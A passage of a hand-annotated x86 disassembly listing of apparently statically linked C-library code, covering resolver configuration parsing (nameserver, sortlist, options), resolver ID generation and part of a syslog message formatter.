		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DA1C

loc_0_804DA27:				; CODE XREF: sub_0_804D744+2D3j
		cmp	byte ptr [ebx],	0
		jz	loc_0_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_0_804D8E0
		call	strncpy(byte_0_80785a4,ebx,255)
		call	strchr(byte_0_80785A4,'\n')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804DA61
		mov	byte ptr [ebx],	0

loc_0_804DA61:				; CODE XREF: sub_0_804D744+318j
		mov	ebx, offset byte_0_80785A4
		mov	dword_0_8078588, offset	byte_0_80785A4
		mov	edx, offset dword_0_807858C
		xor	esi, esi
		cmp	byte_0_80785A4,	0
		jz	short loc_0_804DAC0

loc_0_804DA80:				; CODE XREF: sub_0_804D744+367j
		cmp	edx, offset unk_0_80785A0
		jnb	short loc_0_804DAB6
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804DA92
		cmp	byte ptr [ebx],	9
		jnz	short loc_0_804DA9C

loc_0_804DA92:				; CODE XREF: sub_0_804D744+347j
		mov	byte ptr [ebx],	0
		mov	esi, 1
		jmp	short loc_0_804DAA7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804DA9C:				; CODE XREF: sub_0_804D744+34Cj
		test	esi, esi
		jz	short loc_0_804DAA7
		mov	[edx], ebx
		add	edx, 4
		xor	esi, esi

loc_0_804DAA7:				; CODE XREF: sub_0_804D744+356j
					; sub_0_804D744+35Aj
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804DA80
		jmp	short loc_0_804DAB6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DAB0:				; CODE XREF: sub_0_804D744+37Aj
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DAC0
		inc	ebx

loc_0_804DAB6:				; CODE XREF: sub_0_804D744+342j
					; sub_0_804D744+369j
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804DAC0
		cmp	byte ptr [ebx],	20h
		jnz	short loc_0_804DAB0

loc_0_804DAC0:				; CODE XREF: sub_0_804D744+33Aj
					; sub_0_804D744+36Fj ...
		mov	byte ptr [ebx],	0
		mov	dword ptr [edx], 0
		mov	[ebp+var_418], 1
		jmp	loc_0_804D8E0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804DAD8:				; CODE XREF: sub_0_804D744+294j
					; sub_0_804D744+2AAj
		call	strncmp(var_424,'nameserver',0ah)
		test	eax, eax
		jnz	loc_0_804DB9C
		cmp	[ebp+var_3F6], 20h
		jz	short loc_0_804DB0C
		cmp	[ebp+var_3F6], 9
		jnz	loc_0_804DB9C

loc_0_804DB0C:				; CODE XREF: sub_0_804D744+3B9j
		cmp	[ebp+var_410], 2
		jg	loc_0_804DB9C
		lea	ebx, [ebp+var_3F6]
		cmp	[ebp+var_3F6], 20h
		jz	short loc_0_804DB34
		cmp	[ebp+var_3F6], 9
		jnz	short loc_0_804DB3F
		lea	esi, [esi+0]

loc_0_804DB34:				; CODE XREF: sub_0_804D744+3E2j
					; sub_0_804D744+3F4j ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804DB34
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DB34

loc_0_804DB3F:				; CODE XREF: sub_0_804D744+3EBj
		cmp	byte ptr [ebx],	0
		jz	loc_0_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_0_804D8E0
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	sub_0_804CEB4
		add	esp, 8
		test	eax, eax
		jz	loc_0_804D8E0
		mov	edx, [ebp+var_410]
		shl	edx, 4
		mov	eax, [ebp+var_404]
		mov	dword_0_8078558[edx], eax
		mov	word ptr dword_0_8078554[edx], 2
		mov	word ptr (dword_0_8078554+2)[edx], 3500h
		inc	[ebp+var_410]
		jmp	loc_0_804D8E0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DB9C:				; CODE XREF: sub_0_804D744+3ACj
					; sub_0_804D744+3C2j ...
		call	strncmp(var_404,'sortlist',8)
		test	eax, eax
		jnz	loc_0_804DD48
		cmp	[ebp+var_3F8], 20h
		jz	short loc_0_804DBD0
		cmp	[ebp+var_3F8], 9
		jnz	loc_0_804DD48

loc_0_804DBD0:				; CODE XREF: sub_0_804D744+47Dj
		lea	ebx, [ebp+var_3F8]
		cmp	[ebp+var_41C], 9
		jg	loc_0_804D8E0
		mov	ecx, [ebp+var_41C]
		lea	edi, ds:0[ecx*8]
		jmp	short loc_0_804DBF5
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DBF4:				; CODE XREF: sub_0_804D744+4B4j
					; sub_0_804D744+4B9j
		inc	ebx

loc_0_804DBF5:				; CODE XREF: sub_0_804D744+4ACj
					; sub_0_804D744+5F9j
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804DBF4
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DBF4
		cmp	byte ptr [ebx],	0
		jz	loc_0_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_0_804D8E0
		cmp	byte ptr [ebx],	3Bh
		jz	loc_0_804D8E0
		mov	[ebp+var_420], ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804DC5C
		lea	esi, [esi+0]

loc_0_804DC28:				; CODE XREF: sub_0_804D744+516j
		call	strchr('/&',[ebx])
		test	eax, eax
		jnz	short loc_0_804DC5C
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_0_804DC5C
		cmp	byte ptr [ebx],	0
		jl	short loc_0_804DC5C
		movzx	edx, byte ptr [ebx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jnz	short loc_0_804DC5C
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804DC28

loc_0_804DC5C:				; CODE XREF: sub_0_804D744+4DFj
					; sub_0_804D744+4F7j ...
		movzx	esi, byte ptr [ebx]
		mov	byte ptr [ebx],	0
		lea	eax, [ebp+var_408]
		push	eax
		mov	ecx, [ebp+var_420]
		push	ecx
		call	sub_0_804CEB4
		add	esp, 8
		test	eax, eax
		jz	loc_0_804DD32
		mov	eax, [ebp+var_408]
		mov	dword ptr unk_0_80786AC[edi], eax
		call	strchr('/&',esi)
		test	eax, eax
		jz	short loc_0_804DD14
		mov	ecx, esi
		mov	al, cl
		mov	[ebx], al
		inc	ebx
		mov	[ebp+var_420], ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804DCE6
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_0_804DCE6
		cmp	byte ptr [ebx],	0
		jl	short loc_0_804DCE6
		movzx	eax, byte ptr [ebx]
		mov	edx, tableBit
		test	byte ptr [edx+eax*2+1],	20h
		jnz	short loc_0_804DCE6
		lea	esi, [esi]

loc_0_804DCCC:				; CODE XREF: sub_0_804D744+5A0j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804DCE6
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_0_804DCE6
		cmp	byte ptr [ebx],	0
		jl	short loc_0_804DCE6
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804DCCC

loc_0_804DCE6:				; CODE XREF: sub_0_804D744+56Aj
					; sub_0_804D744+56Fj ...
		movzx	esi, byte ptr [ebx]
		mov	byte ptr [ebx],	0
		lea	eax, [ebp+var_408]
		push	eax
		mov	ecx, [ebp+var_420]
		push	ecx
		call	sub_0_804CEB4
		add	esp, 8
		test	eax, eax
		jz	short loc_0_804DD14
		mov	eax, [ebp+var_408]
		mov	dword ptr unk_0_80786B0[edi], eax
		jmp	short loc_0_804DD29
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804DD14:				; CODE XREF: sub_0_804D744+558j
					; sub_0_804D744+5C0j
		mov	eax, dword ptr unk_0_80786AC[edi]
		push	eax
		call	sub_0_804DF74
		mov	dword ptr unk_0_80786B0[edi], eax
		add	esp, 4

loc_0_804DD29:				; CODE XREF: sub_0_804D744+5CEj
		add	edi, 8
		inc	[ebp+var_41C]

loc_0_804DD32:				; CODE XREF: sub_0_804D744+536j
		mov	ecx, esi
		mov	[ebx], cl
		cmp	[ebp+var_41C], 9
		jle	loc_0_804DBF5
		jmp	loc_0_804D8E0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804DD48:				; CODE XREF: sub_0_804D744+470j
					; sub_0_804D744+486j
		call	strncmp(var_424,'options',7)
		test	eax, eax
		jnz	loc_0_804D8E0
		cmp	[ebp+var_3F9], 20h
		jz	short loc_0_804DD7C
		cmp	[ebp+var_3F9], 9
		jnz	loc_0_804D8E0

loc_0_804DD7C:				; CODE XREF: sub_0_804D744+629j
		push	offset aConf	; "conf"
		lea	eax, [ebp+var_3F9]
		push	eax
		call	sub_0_804DE68
		add	esp, 8
		jmp	loc_0_804D8E0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DD98:				; CODE XREF: sub_0_804D744+1B9j
		cmp	[ebp+var_410], 1
		jle	short loc_0_804DDAD
		mov	ecx, [ebp+var_410]
		mov	dword_0_8078550, ecx

loc_0_804DDAD:				; CODE XREF: sub_0_804D744+65Bj
		mov	al, byte ptr [ebp+var_41C]
		shl	al, 4
		and	byte_0_80786A8,	0Fh
		or	byte_0_80786A8,	al
		call	fclose(var_40c)

loc_0_804DDD2:				; CODE XREF: sub_0_804D744+18Aj
		cmp	byte_0_80785A4,	0
		jnz	short loc_0_804DE15
		push	0FFh
		lea	ebx, [ebp+var_400]
		call	getdomainname(var_400,255)
		test	eax, eax
		jnz	short loc_0_804DE15
		call	strchr(ebx,'+',) ; 02Eh
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804DE15
		call	strcpy(byte_0_80785a4,lea[ebx+1])

loc_0_804DE15:				; CODE XREF: sub_0_804D744+695j
					; sub_0_804D744+6ADj ...
		cmp	[ebp+var_418], 0
		jnz	short loc_0_804DE32
		mov	dword_0_8078588, offset	byte_0_80785A4
		mov	dword_0_807858C, 0

loc_0_804DE32:				; CODE XREF: sub_0_804D744+6D8j
		call	getenv('RES_OPTIONS')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804DE50
		push	offset aEnv	; "env"
		push	ebx
		call	sub_0_804DE68

loc_0_804DE50:				; CODE XREF: sub_0_804D744+6FFj
		or	byte ptr dword_0_807854C, 1
		xor	eax, eax
		lea	esp, [ebp+var_430]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D744	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804DE68	proc near		; CODE XREF: sub_0_804D744+644p
					; sub_0_804D744+707p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, edi
		test	byte ptr dword_0_807854C, 2
		jz	loc_0_804DF60
		call	printf('res_setoptions(\'s\', \'%s\')... \n',ebx,esi)
		add	esp, 0Ch
		jmp	loc_0_804DF60
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DE98:				; CODE XREF: sub_0_804DE68+34j
					; sub_0_804DE68+39j
		inc	ebx

loc_0_804DE99:				; CODE XREF: sub_0_804DE68+FBj
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804DE98
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DE98
		call	strncmp(ebx,'ndots:',6)
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_0_804DF0C
		lea	eax, [ebx+6]
		push	0
		push	0Ah
		push	0
		push	eax
		call	sub_0_8056064
		add	esp, 10h
		cmp	eax, 0Fh
		jg	short loc_0_804DEE0
		and	al, 0Fh
		and	byte_0_80786A8,	0F0h
		or	byte_0_80786A8,	al
		jmp	short loc_0_804DEE7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DEE0:				; CODE XREF: sub_0_804DE68+64j
		or	byte_0_80786A8,	0Fh

loc_0_804DEE7:				; CODE XREF: sub_0_804DE68+75j
		test	byte ptr dword_0_807854C, 2
		jz	short loc_0_804DF56
		call	printf('; \tndots=%d\n',byte_0_80786a8 & 0fh)
		add	esp, 8
		jmp	short loc_0_804DF56
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DF0C:				; CODE XREF: sub_0_804DE68+4Dj
		call	strncmp(ebx,'debug',5)
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_0_804DF56
		test	byte ptr dword_0_807854C, 2
		jnz	short loc_0_804DF3F
		call	printf('; res_setoptions(\'%s\', \'%s\'..\n',edi,esi)
		or	byte ptr dword_0_807854C, 2

loc_0_804DF3F:				; CODE XREF: sub_0_804DE68+BFj
		call	printf('; \tdebug\n')
		jmp	short loc_0_804DF56
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DF50:				; CODE XREF: sub_0_804DE68+F6j
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804DF60
		inc	ebx

loc_0_804DF56:				; CODE XREF: sub_0_804DE68+86j
					; sub_0_804DE68+9Fj ...
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804DF69
		cmp	byte ptr [ebx],	20h
		jnz	short loc_0_804DF50

loc_0_804DF60:				; CODE XREF: sub_0_804DE68+15j
					; sub_0_804DE68+2Aj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_0_804DE99

loc_0_804DF69:				; CODE XREF: sub_0_804DE68+F1j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804DE68	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804DF74	proc near		; CODE XREF: sub_0_804D744+5D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		test	eax, eax
		jl	short loc_0_804DF90
		mov	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DF90:				; CODE XREF: sub_0_804DF74+Fj
		and	eax, 0C0000000h
		cmp	eax, 80000000h
		jz	short loc_0_804DFA8
		mov	eax, 0FFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804DFA8:				; CODE XREF: sub_0_804DF74+26j
		mov	eax, 0FFFFh
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804DF74	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804DFB4	proc near		; CODE XREF: sub_0_804D744+77p

var_8		= word ptr -8
var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	gettimeofday
		call	getpid
		mov	edx, eax
		mov	ax, [ebp+var_8]
		xor	ax, [ebp+var_4]
		xor	ax, dx
		and	eax, 0FFFFh
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804DFB4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dword_0_807853C, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dword_0_8078540, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_0_8078544
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054C28	proc near		; CODE XREF: sub_0_8053310+1252p
					; sub_0_8054C7C+15p

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx],	0FFh
		jz	short loc_0_8054C40
		cmp	byte ptr [edx],	0
		jnz	short loc_0_8054C58

loc_0_8054C40:				; CODE XREF: sub_0_8054C28+11j
		xor	eax, eax
		jmp	short loc_0_8054C73
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8054C44:				; CODE XREF: sub_0_8054C28+40j
		movzx	edx, byte ptr [edx-1]
		mov	[ebp+var_4], edx
		mov	eax, ecx
		xor	edx, edx
		div	[ebp+var_4]
		mov	ecx, eax
		add	ebx, ecx
		jmp	short loc_0_8054C71
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8054C58:				; CODE XREF: sub_0_8054C28+16j
		xor	ebx, ebx
		jmp	short loc_0_8054C6A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8054C5C:				; CODE XREF: sub_0_8054C28+47j
		inc	ebx
		sub	ecx, esi
		inc	edx
		cmp	byte ptr [edx],	0FFh
		jz	short loc_0_8054C71
		cmp	byte ptr [edx],	0
		jz	short loc_0_8054C44

loc_0_8054C6A:				; CODE XREF: sub_0_8054C28+32j
		movzx	esi, byte ptr [edx]
		cmp	ecx, esi
		ja	short loc_0_8054C5C

loc_0_8054C71:				; CODE XREF: sub_0_8054C28+2Ej
					; sub_0_8054C28+3Bj
		mov	eax, ebx

loc_0_8054C73:				; CODE XREF: sub_0_8054C28+1Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054C28	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054DB8	proc near		; CODE XREF: sub_0_804C538+2Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_0_8054DD0

loc_0_8054DC2:				; CODE XREF: sub_0_8054DB8+24j
		mov	errno, 16h
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8054DD0:				; CODE XREF: sub_0_8054DB8+8j
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jnz	short loc_0_8054DC2
		push	3
		push	0
		push	0
		push	edx
		call	sub_0_806267C
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054DB8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054DF0	proc near		; CODE XREF: sub_0_804E490+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_0_80626C8(arg_0,arg_4,400h)
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054DF0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		cmp	eax, 0FFh
		ja	short loc_0_8054E40
		mov	dword_0_807888C, offset	dword_0_807A858
		mov	ds:dword_0_807E78C[eax*4], edx
		mov	ds:dword_0_807A858[eax*4], ecx
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8054E40:				; CODE XREF: .text:08054E1Dj
		mov	errno, 16h
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054E54	proc near		; CODE XREF: sub_0_8054EC8+366p
					; .text:08055379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	close(dword_0_8078894)
		mov	dword_0_8078894, 0FFFFFFFFh
		mov	ds:dword_0_807AC58, 0
		test	ebx, ebx
		jz	short loc_0_8054EA6
		mov	dword_0_8078898, 0
		mov	dword_0_807889C, offset	aSyslog	; "syslog"
		mov	dword_0_80788A0, 8
		mov	dword_0_80788A4, 0FFh

loc_0_8054EA6:				; CODE XREF: sub_0_8054E54+28j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054E54	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054EB0	proc near		; CODE XREF: sub_0_804B800+280p
					; sub_0_804B800+3CEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ecx
		call	sub_0_8054EC8
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054EB0	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8054EC8	proc near		; CODE XREF: sub_0_8054EB0+Fp

var_C30		= byte ptr -0C30h
var_C24		= byte ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= dword	ptr -0C14h
var_C10		= dword	ptr -0C10h
var_C0C		= dword	ptr -0C0Ch
var_C08		= dword	ptr -0C08h
var_C04		= byte ptr -0C04h
var_C00		= byte ptr -0C00h
var_802		= byte ptr -802h
var_801		= byte ptr -801h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edx, errno
		mov	[ebp+var_C1C], edx
		mov	ecx, esi
		and	ecx, 7
		mov	eax, dword_0_80788A4
		sar	eax, cl
		test	al, 1
		jz	loc_0_80552A1
		test	esi, 0FFFFFC00h
		jnz	loc_0_80552A1
		cmp	dword_0_8078894, 0
		jl	short loc_0_8054F15
		cmp	ds:dword_0_807AC58, 0
		jnz	short loc_0_8054F2D

loc_0_8054F15:				; CODE XREF: sub_0_8054EC8+42j
		push	0
		mov	eax, dword_0_8078898
		or	al, 8
		push	eax
		mov	eax, dword_0_807889C
		push	eax
		call	sub_0_80552B0
		add	esp, 0Ch

loc_0_8054F2D:				; CODE XREF: sub_0_8054EC8+4Bj
		test	esi, 3F8h
		jnz	short loc_0_8054F3B
		or	esi, dword_0_80788A0

loc_0_8054F3B:				; CODE XREF: sub_0_8054EC8+6Bj
		lea	ebx, [ebp+var_C04]
		push	ebx
		call	time
		push	ebx
		call	sub_0_805B548
		call	snprintf(&var_800,800h,'<%d>%.15s ',esi,eax+4)
		mov	esi, ebx
		cmp	[ebp+var_800], 0
		jz	short loc_0_8054F7E
		lea	esi, [esi]

loc_0_8054F78:				; CODE XREF: sub_0_8054EC8+B4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_8054F78

loc_0_8054F7E:				; CODE XREF: sub_0_8054EC8+ACj
		test	byte ptr dword_0_8078898, 20h
		jz	short loc_0_8054F8D
		mov	[ebp+var_C20], esi

loc_0_8054F8D:				; CODE XREF: sub_0_8054EC8+BDj
		cmp	dword_0_807889C, 0
		jz	short loc_0_8054FB2
		call	strcpy(esi,dword_0_807889c)
		cmp	byte ptr [esi],	0
		jz	short loc_0_8054FB2
		lea	esi, [esi]

loc_0_8054FAC:				; CODE XREF: sub_0_8054EC8+E8j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_8054FAC

loc_0_8054FB2:				; CODE XREF: sub_0_8054EC8+CCj
					; sub_0_8054EC8+E0j
		test	byte ptr dword_0_8078898, 1
		jz	short loc_0_8054FE2
		call	getpid
		call	snprintf(esi,ebp-esi,'[%d]',eax)
		cmp	byte ptr [esi],	0
		jz	short loc_0_8054FE2
		lea	esi, [esi+0]

loc_0_8054FDC:				; CODE XREF: sub_0_8054EC8+118j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_8054FDC

loc_0_8054FE2:				; CODE XREF: sub_0_8054EC8+F1j
					; sub_0_8054EC8+10Fj
		cmp	dword_0_807889C, 0
		jz	short loc_0_8054FF6
		mov	byte ptr [esi],	3Ah
		inc	esi
		mov	byte ptr [esi],	20h
		inc	esi
		mov	byte ptr [esi],	0

loc_0_8054FF6:				; CODE XREF: sub_0_8054EC8+121j
		lea	ebx, [ebp+var_C00]
		jmp	loc_0_8055108
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055004:				; CODE XREF: sub_0_8054EC8+24Dj
		lea	eax, [ebp+var_801]
		cmp	ebx, eax
		jnb	loc_0_805511B
		cmp	[ebp+var_C24], 25h
		jnz	loc_0_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 25h
		jnz	short loc_0_8055074
		lea	eax, [ebp+var_802]
		cmp	ebx, eax
		jnb	short loc_0_8055044
		mov	byte ptr [ebx],	25h
		inc	ebx
		mov	byte ptr [ebx],	25h
		inc	ebx
		inc	edx
		mov	[ebp+arg_4], edx
		jmp	loc_0_8055105
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055044:				; CODE XREF: sub_0_8054EC8+168j
		push	offset aTruncated ; "[truncated] "
		push	800h
